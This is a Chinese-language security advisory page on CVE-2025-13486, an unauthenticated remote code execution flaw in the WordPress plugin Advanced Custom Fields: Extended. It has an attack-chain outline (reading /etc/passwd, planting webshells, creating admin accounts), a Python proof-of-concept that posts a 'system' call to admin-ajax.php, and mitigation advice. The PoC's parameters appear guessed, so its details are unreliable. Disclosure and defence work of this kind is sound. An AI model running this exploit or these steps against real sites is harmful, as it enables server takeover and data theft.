IPBUF安全漏洞报告
English
CVE-2025-13486 CVSS 9.8 严重

CVE-2025-13486 WordPress Advanced Custom Fields Extended插件远程代码执行漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13486
漏洞类型
远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Advanced Custom Fields: Extended (WordPress插件)

相关标签

远程代码执行WordPress插件漏洞call_user_func_array滥用无需认证CVSS 9.8Critical严重级别ACF Extendedprepare_form()函数漏洞Web安全

漏洞概述

CVE-2025-13486是WordPress插件Advanced Custom Fields: Extended中的一个严重远程代码执行漏洞。该漏洞存在于prepare_form()函数中,由于该函数直接接受用户输入并将其传递给call_user_func_array()进行处理,导致攻击者可以在无需认证的情况下在服务器上执行任意代码。CVSS评分高达9.8,属于严重级别。此漏洞影响插件版本0.9.0.5至0.9.1.1,攻击者可利用此漏洞在受影响的服务器上注入后门、创建新的管理员账户,完全控制WordPress网站。攻击复杂度低,无需用户交互,使得此漏洞极易被利用。

技术细节

该漏洞的核心问题在于prepare_form()函数的实现缺陷。函数在处理用户请求时,直接将用户可控的输入作为函数名传递给PHP的call_user_func_array()函数。call_user_func_array()允许动态调用任意函数,当攻击者能够控制被调用的函数名时,即可执行任意PHP函数。攻击者可以通过构造特定的HTTP请求,指定要执行的系统命令函数(如system()、exec()、shell_exec()等),配合命令参数实现服务器端任意代码执行。由于该漏洞存在于插件的核心处理逻辑中,且无需任何认证即可触发,攻击者可以直接通过发送恶意请求来获取服务器的最高控制权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本及是否安装Advanced Custom Fields: Extended插件,并确认版本是否在受影响范围内(0.9.0.5-0.9.1.1)
STEP 2
步骤2: 构造恶意请求
攻击者构造包含恶意payload的HTTP请求,通过prepare_form()函数参数注入PHP函数调用指令,指定如system()等可执行系统命令的函数
STEP 3
步骤3: 触发call_user_func_array()
当服务器处理该请求时,prepare_form()函数将用户输入的函数名传递给call_user_func_array(),导致指定的任意函数被执行
STEP 4
步骤4: 远程代码执行
攻击者成功在服务器上执行任意代码,可以执行系统命令如whoami、cat /etc/passwd等,验证RCE漏洞利用成功
STEP 5
步骤5: 持久化控制
攻击者利用RCE能力注入后门webshell或创建新的管理员账户,实现对WordPress网站的持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 ''' CVE-2025-13486 PoC - Advanced Custom Fields: Extended RCE Note: This PoC is for educational and authorized security testing purposes only. ''' import requests import sys TARGET_URL = "http://target-wordpress-site.com" def exploit_cve_2025_13486(): """ Exploit the RCE vulnerability in prepare_form() function by controlling the function call via call_user_func_array() """ # Target endpoint that processes form data endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload to execute arbitrary command via call_user_func_array() # The prepare_form() function accepts user input and passes it to call_user_func_array() payload = { 'action': 'acfef_form_builder_submit', 'nonce': '', # May be bypassed or not required 'field_id': 'acfef_prepare_form', # Triggers prepare_form() 'function_name': 'system', # Arbitrary function call 'params': 'id' # Command to execute } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-13486: ACF Extended RCE") try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[+] Request sent to {endpoint}") print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Exploit request completed") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_cve_2025_13486()

影响范围

Advanced Custom Fields: Extended 0.9.0.5
Advanced Custom Fields: Extended 0.9.0.6
Advanced Custom Fields: Extended 0.9.0.7
Advanced Custom Fields: Extended 0.9.0.8
Advanced Custom Fields: Extended 0.9.1.0
Advanced Custom Fields: Extended 0.9.1.1

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)临时禁用Advanced Custom Fields: Extended插件,使用替代方案;2)在Web服务器层面配置访问控制,限制对/wp-admin/admin-ajax.php等敏感端点的访问;3)部署WAF规则过滤包含prepare_form、call_user_func等可疑参数的请求;4)加强服务器监控,及时发现异常命令执行行为;5)考虑使用虚拟补丁技术,在实际升级前提供临时保护。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表